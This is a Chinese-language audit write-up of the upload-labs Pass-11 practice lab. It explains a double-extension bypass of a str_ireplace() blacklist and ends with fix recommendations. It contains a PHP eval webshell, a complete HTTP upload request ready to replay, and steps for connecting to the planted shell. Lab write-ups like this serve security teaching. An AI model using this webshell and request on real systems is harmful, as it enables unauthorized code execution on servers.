upload-labs 文件上传漏洞靶场代码审计报告
一、靶场信息
| 项目 | 内容 |
|---|---|
| 靶场名称 | upload-labs |
| 关卡编号 | Pass-11 |
| 漏洞类型 | 双写后缀绕过(Black List Replace Bypass) |
| 审计日期 | 2026-08-09 |
| 目标文件 | Pass-11/index.php |
二、漏洞概述
Pass-11 采用黑名单,并使用 str_ireplace() 将黑名单中的字符串从文件名中直接替换为空。这种“删除式”过滤存在逻辑缺陷:攻击者可以构造包含被禁字符串的文件名,使得替换后剩余字符重新组合成新的危险扩展名。例如,上传 shell.pphphp,经过 str_ireplace() 删除 php 后,文件名会变为 shell.php。
- 危险等级:高危
- 影响范围:可上传并执行 PHP 脚本
三、问题代码位置
文件路径:Pass-11/index.php
问题代码片段(第 8-21 行):
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = trim($_FILES['upload_file']['name']);
$file_name = str_ireplace($deny_ext,"", $file_name);
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
}
其中 $deny_ext 定义如下:
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa",".jspx",".jsw",".jsv",".jspf",".jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini");
四、漏洞分析
4.1 为什么存在这个问题
str_ireplace($deny_ext, "", $file_name) 会将文件名中所有出现的黑名单子串删除,但它只执行一次遍历替换,不会迭代检查。攻击者可以构造文件名,使得删除黑名单子串后,剩余字符恰好组成一个新的危险扩展名。
以 shell.pphphp 为例:
- 原始文件名:
shell.pphphp str_ireplace("php", "", "pphphp"):在pphphp中找到php(位于第 2-4 位),删除后得到php。- 最终结果:
shell.php
4.2 校验逻辑缺陷
- 使用删除式过滤而非校验式过滤,剩余字符可重新组合成危险后缀。
- 未对过滤后的文件名进行二次校验。
- 保存文件时使用过滤后的原始文件名,可直接生成可执行脚本。
五、利用思路
攻击者构造文件名为 shell.pphphp。服务端使用 str_ireplace() 删除 php 后,文件名变为 shell.php,随后 move_uploaded_file() 将其保存为可执行的 PHP 文件。
六、POC(Yakit 可直接重放)
6.1 前提条件
- 靶场访问地址:
http://target.com/upload-labs/Pass-11/index.php - WebShell 内容示例:
<?php @eval($_POST['cmd']); ?>
6.2 Yakit 重放 HTTP 请求包
POST /upload-labs/Pass-11/index.php HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9
Connection: close
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="upload_file"; filename="shell.pphphp"
Content-Type: application/octet-stream
<?php @eval($_POST['cmd']); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="submit"
上传
------WebKitFormBoundary7MA4YWxkTrZu0gW--
6.3 利用步骤
- 在 Yakit 中新建 HTTP 请求并粘贴上述 POC。
- 修改
Host为实际靶场地址。 - 发送请求,服务端返回上传成功。
- 访问上传文件:
http://target.com/upload-labs/upload/shell.php。 - 使用 Webshell 管理工具连接,密码
cmd。
七、修复建议
- 不使用删除式过滤:应使用白名单校验,仅允许明确安全的后缀。
- 过滤后二次校验:即使做了过滤,也必须对最终结果进行后缀白名单检查。
- 重命名上传文件:使用随机文件名,不依赖用户输入。
- 上传目录禁止脚本执行:从 Web 服务器层限制解析。
安全代码示例
$allowed_ext = ['jpg', 'jpeg', 'png', 'gif'];
$ext = strtolower(trim(pathinfo($_FILES['upload_file']['name'], PATHINFO_EXTENSION)));
if (!in_array($ext, $allowed_ext)) {
die('只允许上传图片文件');
}
$new_name = md5(uniqid()) . '.' . $ext;
move_uploaded_file($_FILES['upload_file']['tmp_name'], UPLOAD_PATH . '/' . $new_name);
八、参考链接
- upload-labs 项目地址:https://github.com/c0ny1/upload-labs
- OWASP 文件上传漏洞说明:https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload